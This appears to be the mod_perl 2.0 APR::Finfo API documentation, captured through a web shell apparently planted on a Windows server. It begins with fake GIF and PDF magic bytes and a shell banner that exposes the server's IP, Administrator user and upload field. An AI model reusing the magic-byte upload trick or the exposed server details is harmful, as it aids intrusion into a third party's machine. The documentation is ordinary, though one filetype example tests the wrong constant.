GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/CST1611/VM_Data/Install/ApachePerlFiles/Perl/html/site/lib/APR/ |
Upload File : |
<?xml version="1.0" ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <!-- saved from url=(0017)http://localhost/ --> <script language="JavaScript" src="../../../displayToc.js"></script> <script language="JavaScript" src="../../../tocParas.js"></script> <script language="JavaScript" src="../../../tocTab.js"></script> <link rel="stylesheet" type="text/css" href="../../../scineplex.css"> <title>APR::Finfo - Perl API for APR fileinfo structure</title> <link rel="stylesheet" href="../../../Active.css" type="text/css" /> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <link rev="made" href="mailto:" /> </head> <body> <!-- INDEX BEGIN --> <div name="index"> <script>writelinks('__top__',3);</script> <h1><a>APR::Finfo - Perl API for APR fileinfo structure</a></h1> <p><a name="__index__"></a></p> <ul> <li><a href="#name">NAME</a></li> <li><a href="#synopsis">Synopsis</a></li> <li><a href="#description">Description</a></li> <li><a href="#api">API</a></li> <ul> <li><a href="#atime"><code>atime</code></a></li> <li><a href="#csize"><code>csize</code></a></li> <li><a href="#ctime"><code>ctime</code></a></li> <li><a href="#device"><code>device</code></a></li> <li><a href="#filetype"><code>filetype</code></a></li> <li><a href="#fname"><code>fname</code></a></li> <li><a href="#group"><code>group</code></a></li> <li><a href="#inode"><code>inode</code></a></li> <li><a href="#mtime"><code>mtime</code></a></li> <li><a href="#name"><code>name</code></a></li> <li><a href="#nlink"><code>nlink</code></a></li> <li><a href="#protection"><code>protection</code></a></li> <li><a href="#size"><a href="../../../lib/pods/perlfunc.html#size"><code>size</code></a></a></li> <li><a href="#stat"><a href="../../../lib/pods/perlfunc.html#stat"><code>stat</code></a></a></li> <li><a href="#user"><code>user</code></a></li> <li><a href="#valid"><code>valid</code></a></li> </ul> <li><a href="#see_also">See Also</a></li> <li><a href="#copyright">Copyright</a></li> <li><a href="#authors">Authors</a></li> </ul> <hr name="index" /> </div> <!-- INDEX END --> <p> </p> <h1><a name="name">NAME</a></h1> <p>APR::Finfo - Perl API for APR fileinfo structure</p> <p> </p> <hr /> <h1><a name="synopsis">Synopsis</a></h1> <pre> <span class="keyword">use</span> <span class="variable">APR::Finfo</span> <span class="operator">();</span> <span class="keyword">use</span> <span class="variable">APR::Const</span> <span class="operator">-</span><span class="string">compile</span> <span class="operator">=></span> <span class="string">qw(FINFO_NORM)</span><span class="operator">;</span> <span class="keyword">my</span> <span class="variable">$finfo</span> <span class="operator">=</span> <span class="variable">APR::Finfo::stat</span><span class="operator">(</span><span class="string">"/tmp/test"</span><span class="operator">,</span> <span class="variable">APR::Const::FINFO_NORM</span><span class="operator">,</span> <span class="variable">$pool</span><span class="operator">);</span> <span class="variable">$device</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">device</span><span class="operator">;</span> <span class="comment"># (stat $file)[0]</span> <span class="variable">$inode</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">inode</span><span class="operator">;</span> <span class="comment"># (stat $file)[1]</span> <span class="variable">$prot</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">protection</span><span class="operator">;</span> <span class="comment"># (stat $file)[2]</span> <span class="variable">$nlink</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">nlink</span><span class="operator">;</span> <span class="comment"># (stat $file)[3]</span> <span class="variable">$gid</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">group</span><span class="operator">;</span> <span class="comment"># (stat $file)[4]</span> <span class="variable">$uid</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">user</span><span class="operator">;</span> <span class="comment"># (stat $file)[5]</span> <span class="variable">$size</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">size</span><span class="operator">;</span> <span class="comment"># (stat $file)[7]</span> <span class="variable">$atime</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">atime</span><span class="operator">;</span> <span class="comment"># (stat $file)[8]</span> <span class="variable">$mtime</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">mtime</span><span class="operator">;</span> <span class="comment"># (stat $file)[9]</span> <span class="variable">$ctime</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">ctime</span><span class="operator">;</span> <span class="comment"># (stat $file)[10]</span> <span class="variable">$csize</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">csize</span><span class="operator">;</span> <span class="comment"># consumed size: not portable!</span> <span class="variable">$filetype</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">filetype</span><span class="operator">;</span> <span class="comment"># file/dir/socket/etc</span> <span class="variable">$fname</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">fname</span><span class="operator">;</span> <span class="variable">$name</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">name</span><span class="operator">;</span> <span class="comment"># in filesystem case:</span> <span class="comment"># valid fields that can be queried</span> <span class="variable">$valid</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">valid</span><span class="operator">;</span> </pre> <p> </p> <hr /> <h1><a name="description">Description</a></h1> <p>APR fileinfo structure provides somewhat similar information to Perl's <a href="../../../lib/pods/perlfunc.html#stat"><code>stat()</code></a> call, but you will want to use this module's API to query an already <a href="../../../lib/pods/perlfunc.html#stat"><code>stat()'ed</code></a> filehandle to avoid an extra system call or to query attributes specific to APR file handles.</p> <p>During the HTTP request handlers coming after <code>PerlMapToStorageHandler|docs::2.0::user::handlers::http/PerlMapToStorageHandler</code>, <a href="#finfo"><code>$r->finfo|docs::2.0::api::Apache2::RequestRec/C_finfo_</code></a> already contains the cached values from the apr's <a href="../../../lib/pods/perlfunc.html#stat"><code>stat()</code></a> call. So you don't want to perform it again, but instead get the <code>ARP::Finfo</code> object via:</p> <pre> <span class="keyword">my</span> <span class="variable">$finfo</span> <span class="operator">=</span> <span class="variable">$r</span><span class="operator">-></span><span class="variable">finfo</span><span class="operator">;</span> </pre> <p> </p> <hr /> <h1><a name="api">API</a></h1> <p><code>APR::Finfo</code> provides the following functions and/or methods:</p> <p> </p> <h2><a name="atime"><a href="#atime"><code>atime</code></a></a></h2> <p>Get the time the file was last accessed:</p> <pre> <span class="variable">$atime</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">atime</span><span class="operator">;</span> </pre> <dl> <dt><strong><a name="finfo" class="item">obj: <code>$finfo</code> ( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</a></strong> <dt><strong><a name="atime" class="item">return: <code>$atime</code> ( integer )</a></strong> <dd> <p>Last access time in seconds since the epoch</p> </dd> </li> <dt><strong><a name="since_2_0_00229" class="item">since: 2.0.00</a></strong> </dl> <p>This method returns the same value as Perl's:</p> <pre> (stat $filename)[8]</pre> <p>Note that this method may not be reliable on all platforms, most notably Win32 -- FAT32 filesystems appear to work properly, but NTFS filesystems do not.</p> <p> </p> <h2><a name="csize"><a href="#csize"><code>csize</code></a></a></h2> <p>Get the storage size consumed by the file</p> <pre> <span class="variable">$csize</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">csize</span><span class="operator">;</span> </pre> <dl> <dt><strong>obj: <code>$finfo</code> ( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong> <dt><strong><a name="csize" class="item">return: <code>$csize</code> ( integer )</a></strong> <dt><strong><a name="since_2_0_00230" class="item">since: 2.0.00</a></strong> </dl> <p>Chances are that you don't want to use this method, since its functionality is not supported on most platforms (in which case it always returns 0).</p> <p> </p> <h2><a name="ctime"><a href="#ctime"><code>ctime</code></a></a></h2> <p>Get the time the file was last changed</p> <pre> <span class="variable">$ctime</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">ctime</span><span class="operator">;</span> </pre> <dl> <dt><strong>obj: <code>$finfo</code> ( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong> <dt><strong><a name="ctime" class="item">return: <code>$ctime</code> ( integer )</a></strong> <dd> <p>Inode change time in seconds since the epoch</p> </dd> </li> <dt><strong><a name="since_2_0_00231" class="item">since: 2.0.00</a></strong> </dl> <p>This method returns the same value as Perl's:</p> <pre> (stat $filename)[10]</pre> <p>The ctime field is non-portable. In particular, you cannot expect it to be a "creation time", see "Files and Filesystems" in the <em>perlport</em> manpage for details.</p> <p> </p> <h2><a name="device"><a href="#device"><code>device</code></a></a></h2> <p>Get the id of the device the file is on.</p> <pre> <span class="variable">$device</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">device</span><span class="operator">;</span> </pre> <dl> <dt><strong>obj: <code>$finfo</code> ( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong> <dt><strong><a name="device" class="item">return: <code>$device</code> ( integer )</a></strong> <dt><strong><a name="since_2_0_00232" class="item">since: 2.0.00</a></strong> </dl> <p>This method returns the same value as Perl's:</p> <pre> (stat $filename)[0]</pre> <p>Note that this method is non-portable. It doesn't work on all platforms, most notably Win32.</p> <p> </p> <h2><a name="filetype"><a href="#filetype"><code>filetype</code></a></a></h2> <p>Get the type of file.</p> <pre> <span class="variable">$filetype</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">filetype</span><span class="operator">;</span> </pre> <dl> <dt><strong>obj: <code>$finfo</code> ( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong> <dt><strong><a name="filetype" class="item">return: <code>$filetype</code> ( <code>:filetype constant|docs::2.0::api::APR::Const/C__filetype_</code> )</a></strong> <dt><strong><a name="since_2_0_00233" class="item">since: 2.0.00</a></strong> </dl> <p>For example:</p> <pre> <span class="keyword">use</span> <span class="variable">APR::Pool</span><span class="operator">;</span> <span class="keyword">use</span> <span class="variable">APR::Finfo</span><span class="operator">;</span> <span class="keyword">use</span> <span class="variable">APR::Const</span> <span class="operator">-</span><span class="string">compile</span> <span class="operator">=></span> <span class="string">qw(FILETYPE_DIR FILETYPE_REG FINFO_NORM)</span><span class="operator">;</span> <span class="keyword">my</span> <span class="variable">$pool</span> <span class="operator">=</span> <span class="variable">APR::Pool</span><span class="operator">-></span><span class="variable">new</span><span class="operator">();</span> <span class="keyword">my</span> <span class="variable">$finfo</span> <span class="operator">=</span> <span class="variable">APR::Finfo::stat</span><span class="operator">(</span><span class="string">"/tmp"</span><span class="operator">,</span> <span class="variable">APR::Const::FINFO_NORM</span><span class="operator">,</span> <span class="variable">$pool</span><span class="operator">);</span> <span class="keyword">my</span> <span class="variable">$finfo</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">filetype</span><span class="operator">;</span> <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$finfo</span> <span class="operator">==</span> <span class="variable">APR::Const::FILETYPE_REG</span><span class="operator">)</span> <span class="operator">{</span> <span class="keyword">print</span> <span class="string">"regular file"</span><span class="operator">;</span> <span class="operator">}</span> <span class="keyword">elsif</span> <span class="operator">(</span><span class="variable">$finfo</span> <span class="operator">==</span> <span class="variable">APR::Const::FILETYPE_REG</span><span class="operator">)</span> <span class="operator">{</span> <span class="keyword">print</span> <span class="string">"directory"</span><span class="operator">;</span> <span class="operator">}</span> <span class="keyword">else</span> <span class="operator">{</span> <span class="keyword">print</span> <span class="string">"other file"</span><span class="operator">;</span> <span class="operator">}</span> </pre> <p>Since <em class="file">/tmp</em> is a directory, this will print:</p> <pre> directory</pre> <p> </p> <h2><a name="fname"><a href="#fname"><code>fname</code></a></a></h2> <p>Get the pathname of the file (possibly unrooted)</p> <pre> <span class="variable">$fname</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">fname</span><span class="operator">;</span> </pre> <dl> <dt><strong>obj: <code>$finfo</code> ( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong> <dt><strong>return: <code>$filetype</code> ( string )</strong> <dt><strong><a name="since_2_0_00234" class="item">since: 2.0.00</a></strong> </dl> <p> </p> <h2><a name="group"><code>group</code></a></h2> <p>Get the group id that owns the file:</p> <pre> <span class="variable">$gid</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">group</span><span class="operator">;</span> </pre> <dl> <dt><strong>obj: <code>$finfo</code> ( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong> <dt><strong><a name="gid" class="item">return: <code>$gid</code> ( number )</a></strong> <dt><strong><a name="since_2_0_00235" class="item">since: 2.0.00</a></strong> </dl> <p>This method returns the same value as Perl's:</p> <pre> (stat $filename)[5]</pre> <p>Note that this method may not be meaningful on all platforms, most notably Win32. Incorrect results have also been reported on some versions of OSX.</p> <p> </p> <h2><a name="inode"><a href="#inode"><code>inode</code></a></a></h2> <p>Get the inode of the file.</p> <pre> <span class="variable">$inode</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">inode</span><span class="operator">;</span> </pre> <dl> <dt><strong>obj: <code>$finfo</code> ( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong> <dt><strong><a name="inode" class="item">return: <code>$inode</code> ( integer )</a></strong> <dt><strong><a name="since_2_0_00236" class="item">since: 2.0.00</a></strong> </dl> <p>This method returns the same value as Perl's:</p> <pre> (stat $filename)[1]</pre> <p>Note that this method may not be meaningful on all platforms, most notably Win32.</p> <p> </p> <h2><a name="mtime"><a href="#mtime"><code>mtime</code></a></a></h2> <p>The time the file was last modified</p> <pre> <span class="variable">$mtime</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">mtime</span><span class="operator">;</span> </pre> <dl> <dt><strong>obj: <code>$finfo</code> ( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong> <dt><strong><a name="mtime" class="item">return: <code>$mtime</code> ( integer )</a></strong> <dd> <p>Last modify time in seconds since the epoch</p> </dd> </li> <dt><strong><a name="since_2_0_00237" class="item">since: 2.0.00</a></strong> </dl> <p>This method returns the same value as Perl's:</p> <pre> (stat $filename)[9]</pre> <p> </p> <h2><a name="name"><code>name</code></a></h2> <p>Get the file's name (no path) in filesystem case:</p> <pre> <span class="variable">$name</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">name</span><span class="operator">;</span> </pre> <dl> <dt><strong>obj: <code>$finfo</code> ( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong> <dt><strong>return: <code>$device</code> ( string )</strong> <dt><strong><a name="since_2_0_00238" class="item">since: 2.0.00</a></strong> </dl> <p> </p> <h2><a name="nlink"><a href="#nlink"><code>nlink</code></a></a></h2> <p>Get the number of hard links to the file.</p> <pre> <span class="variable">$nlink</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">nlink</span><span class="operator">;</span> </pre> <dl> <dt><strong>obj: <code>$finfo</code> ( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong> <dt><strong><a name="nlink" class="item">return: <code>$nlink</code> ( integer )</a></strong> <dt><strong><a name="since_2_0_00239" class="item">since: 2.0.00</a></strong> </dl> <p>This method returns the same value as Perl's:</p> <pre> (stat $filename)[3]</pre> <p> </p> <h2><a name="protection"><code>protection</code></a></h2> <p>Get the access permissions of the file. Mimics Unix access rights.</p> <pre> <span class="variable">$prot</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">protection</span><span class="operator">;</span> </pre> <dl> <dt><strong>obj: <code>$finfo</code> ( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong> <dt><strong><a name="prot" class="item">return: <code>$prot</code> ( <code>:fprot constant|docs::2.0::api::APR::Const/C__fprot_</code> )</a></strong> <dt><strong><a name="since_2_0_00240" class="item">since: 2.0.00</a></strong> </dl> <p>This method returns the same value as Perl's:</p> <pre> (stat $filename)[2]</pre> <p> </p> <h2><a name="size"><a href="#size"><code>size</code></a></a></h2> <p>Get the size of the file</p> <pre> <span class="variable">$size</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">size</span><span class="operator">;</span> </pre> <dl> <dt><strong>obj: <code>$finfo</code> ( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong> <dt><strong><a name="size" class="item">return: <code>$size</code> ( integer )</a></strong> <dd> <p>Total size of file, in bytes</p> </dd> </li> <dt><strong><a name="since_2_0_00241" class="item">since: 2.0.00</a></strong> </dl> <p>This method returns the same value as Perl's:</p> <pre> (stat $filename)[7]</pre> <p> </p> <h2><a name="stat"><a href="../../../lib/pods/perlfunc.html#stat"><code>stat</code></a></a></h2> <p>Get the specified file's stats.</p> <pre> <span class="variable">$finfo</span> <span class="operator">=</span> <span class="variable">APR::Finfo::stat</span><span class="operator">(</span><span class="variable">$fname</span><span class="operator">,</span> <span class="variable">$wanted_fields</span><span class="operator">,</span> <span class="variable">$p</span><span class="operator">);</span> </pre> <dl> <dt><strong><a name="fname" class="item">arg1: <code>$fname</code> ( string )</a></strong> <dd> <p>The path to the file to <a href="../../../lib/pods/perlfunc.html#stat"><code>stat()</code></a>.</p> </dd> </li> <dt><strong><a name="wanted_fields" class="item">arg2: <code>$wanted_fields</code> ( <code>:finfo constant|docs::2.0::api::APR::Const/C__finfo_</code> )</a></strong> <dd> <p>The desired fields, as a bitmask flag of <code>APR::FINFO_*|docs::2.0::api::APR::Const/C__finfo_</code> constants.</p> </dd> <dd> <p>Notice that you can also use the constants that already combine several elements in one. For example <code>APR::Const::FINFO_PROT|docs::2.0::api::APR::Const/C_APR__Const__FINFO_PROT_</code> asks for all protection bits, <code>APR::Const::FINFO_MIN|docs::2.0::api::APR::Const/C_APR__Const__FINFO_MIN_</code> asks for the following fields: type, mtime, ctime, atime, size and <code>APR::Const::FINFO_NORM|docs::2.0::api::APR::Const/C_APR__Const__FINFO_NORM_</code> asks for all atomic unix <code>apr_stat()</code> fields (similar to perl's <a href="../../../lib/pods/perlfunc.html#stat"><code>stat()</code></a>).</p> </dd> </li> <dt><strong><a name="p" class="item">arg3: <code>$p</code> ( <code>APR::Pool object|docs::2.0::api::APR::Pool</code> )</a></strong> <dd> <p>the pool to use to allocate the file stat structure.</p> </dd> </li> <dt><strong>ret: <code>$finfo</code> ( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong> <dt><strong><a name="since_2_0_00242" class="item">since: 2.0.00</a></strong> </dl> <p>For example, here is how to get most of the <a href="../../../lib/pods/perlfunc.html#stat"><code>stat</code></a> fields:</p> <pre> <span class="keyword">use</span> <span class="variable">APR::Pool</span> <span class="operator">();</span> <span class="keyword">use</span> <span class="variable">APR::Finfo</span> <span class="operator">();</span> <span class="keyword">use</span> <span class="variable">APR::Const</span> <span class="operator">-</span><span class="string">compile</span> <span class="operator">=></span> <span class="string">qw(FINFO_NORM)</span><span class="operator">;</span> <span class="keyword">my</span> <span class="variable">$pool</span> <span class="operator">=</span> <span class="variable">APR::Pool</span><span class="operator">-></span><span class="variable">new</span><span class="operator">();</span> <span class="keyword">my</span> <span class="variable">$finfo</span> <span class="operator">=</span> <span class="variable">APR::Finfo::stat</span><span class="operator">(</span><span class="string">"/tmp/test"</span><span class="operator">,</span> <span class="variable">APR::Const::FINFO_NORM</span><span class="operator">,</span> <span class="variable">$pool</span><span class="operator">);</span> </pre> <p> </p> <h2><a name="user"><code>user</code></a></h2> <p>Get the user id that owns the file:</p> <pre> <span class="variable">$uid</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">user</span><span class="operator">;</span> </pre> <dl> <dt><strong>obj: <code>$finfo</code> ( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong> <dt><strong><a name="uid" class="item">return: <code>$uid</code> ( number )</a></strong> <dt><strong><a name="since_2_0_00243" class="item">since: 2.0.00</a></strong> </dl> <p>This method returns the same value as Perl's:</p> <pre> (stat $filename)[4]</pre> <p>Note that this method may not be meaningful on all platforms, most notably Win32.</p> <p> </p> <h2><a name="valid"><a href="#valid"><code>valid</code></a></a></h2> <p>The bitmask describing valid fields of this apr_finfo_t structure including all available 'wanted' fields and potentially more</p> <pre> <span class="variable">$valid</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-></span><span class="variable">valid</span><span class="operator">;</span> </pre> <dl> <dt><strong>obj: <code>$finfo</code> ( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong> <dt><strong><a name="valid" class="item">arg1: <code>$valid</code> ( bitmask )</a></strong> <dd> <p>This bitmask flag should be bit-OR'ed against <code>:finfo constant|docs::2.0::api::APR::Const/C__finfo_</code> constants.</p> </dd> </li> <dt><strong><a name="since_2_0_00244" class="item">since: 2.0.00</a></strong> </dl> <p> </p> <hr /> <h1><a name="see_also">See Also</a></h1> <p><a href="../../../docs/2.0/index.html">mod_perl 2.0 documentation</a>.</p> <p> </p> <hr /> <h1><a name="copyright">Copyright</a></h1> <p>mod_perl 2.0 and its core modules are copyrighted under The Apache Software License, Version 2.0.</p> <p> </p> <hr /> <h1><a name="authors">Authors</a></h1> <p><a href="../../../about/contributors/people.html">The mod_perl development team and numerous contributors</a>.</p> </body> </html>